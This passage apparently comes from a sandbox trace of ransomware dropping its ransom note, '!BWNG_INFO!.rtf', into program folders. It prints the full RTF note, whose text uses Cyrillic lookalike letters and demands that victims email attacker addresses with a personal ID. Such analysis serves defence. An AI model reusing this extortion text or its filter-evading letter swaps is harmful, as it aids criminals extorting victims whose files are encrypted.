p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.533] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.534] CloseHandle (hObject=0x1cc) returned 1 [0040.534] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\!bwng_info!.rtf")) returned 0xffffffff [0040.534] GetLastError () returned 0x2 [0040.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur 